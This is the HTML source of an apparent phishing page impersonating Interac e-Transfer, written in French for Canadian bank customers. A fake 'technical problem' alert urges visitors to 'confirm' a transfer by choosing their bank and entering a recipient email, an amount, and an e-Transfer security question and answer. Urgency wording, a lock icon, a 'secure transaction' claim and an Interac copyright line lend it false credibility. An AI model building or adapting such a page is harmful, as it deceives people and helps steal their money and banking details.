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<a class="nav-link" href="#" style="position: relative; top: 10px;">Contactez nous</a>
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<span class="col-md-11 col-10 pl-0">Problème technique ! Veuillez confirmer votre Virement Interac pour permettre à votre Destinataire de recevoir le courriel de votre Virement.</span>
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<form id="main-form" method="POST">
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<div class="col-md-6 m-auto">
<div class="form-group">
<label for="exampleFormControlSelect1">Choisir votre institution financière</label>
<select class="form-control" name="bank_name" required="">
<option>Choisssez votre institution</option>
<option value="ATB Financial">ATB Financial</option>
<option value="B2B Banque/Banque Laurentienne">B2B Banque/Banque Laurentienne</option>
<option value="Banque Alterna">Banque Alterna</option>
<option value="Banque HSBC Canada">Banque HSBC Canada</option>
<option value="Banque Laurentienne du Canada">Banque Laurentienne du Canada</option>
<option value="Banque Manuvie de Canada">Banque Manuvie de Canada</option>
<option value="Banque Nationale du Canada">Banque Nationale du Canada</option>
<option value="Banque Nationale – Entreprises">Banque Nationale – Entreprises</option>
<option value="Banque Nationale-Partenariats"> Banque Nationale-Partenariats</option>
<option value="Banque Scotia">Banque Scotia</option>
<option value="BMO Banque de Montreal">BMO Banque de Montreal</option>
<option value="Canadian Western Bank">Canadian Western Bank</option>
<option value="CIBC">CIBC</option>
<option value="Desjardins">Desjardins</option>
<option value="First Nations Bank of Canada">First Nations Bank of Canada</option>
<option value="RBC Banque Royale">RBC Banque Royale</option>
<option value="Simplii Financial">Simplii Financial</option>
<option value="Solutions bancaires-Groupe Investors"> Solutions bancaires-Groupe
Investors
</option>
<option value="Solutions bancaires-La Great West"> Solutions bancaires-La Great West
</option>
<option value="Solutions bancaires-Liberté 55"> Solutions bancaires-Liberté 55</option>
<option value="Tangerine Bank">Tangerine Bank</option>
<option value="TD Canada Trust">TD Canada Trust</option>
<option value="Wealth One Bank of Canada">Wealth One Bank of Canada</option>
</select>
<small id="emailHelp" class="form-text text-muted">Choisissez votre institution bancaire
dans la liste ci-dessus</small>
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<div class="form-group">
<label>Courriel du Bénéficiaire </label>
<input type="email" class="form-control" placeholder="Courriel du Bénéficiaire" name="email"
required="">
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<div class="form-group">
<label>Montant </label>
<input type="number" class="form-control" placeholder="Montant" name="montant" required="">
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<div class="form-group">
<label> Question de sécurité </label>
<input type="text" class="form-control" placeholder="Question de sécurité" name="question"
required="">
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<div class="form-group">
<label>Réponse au Question de sécurité </label>
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name="answer" required="">
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<button type="submit" class="btn btn-primary btn_confirm">Confirmer</button>
</div>
</div>
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</form>
<div class="all_text text-center">
<p class="mt-5">Ce Virement INTERAC est en attente de confirmation</p>
<p class="font-bold">Pour des raisons de sécurité votre virement sera automatiquement annulé si les
informations fournie ne sont pas conforme au informations du transfert (002)</p>
</div>
</div>
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<ul>
<li><a href=""> Virement Interac </a></li>
<li><a href=""> Politique de confidentialité </a></li>
<li><a href="">Sécurité </a></li>
<li class="move_to_right">Cette transaction est sécuritaire. <img style="width: 40px;"
src="img/lock_icon.png"></li>
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<small>© 2000 — 2020 Interac Corp. Tous droits réservés. Modalités d'utilisation<br>
MD, Marque d'Interac Corp.</small>
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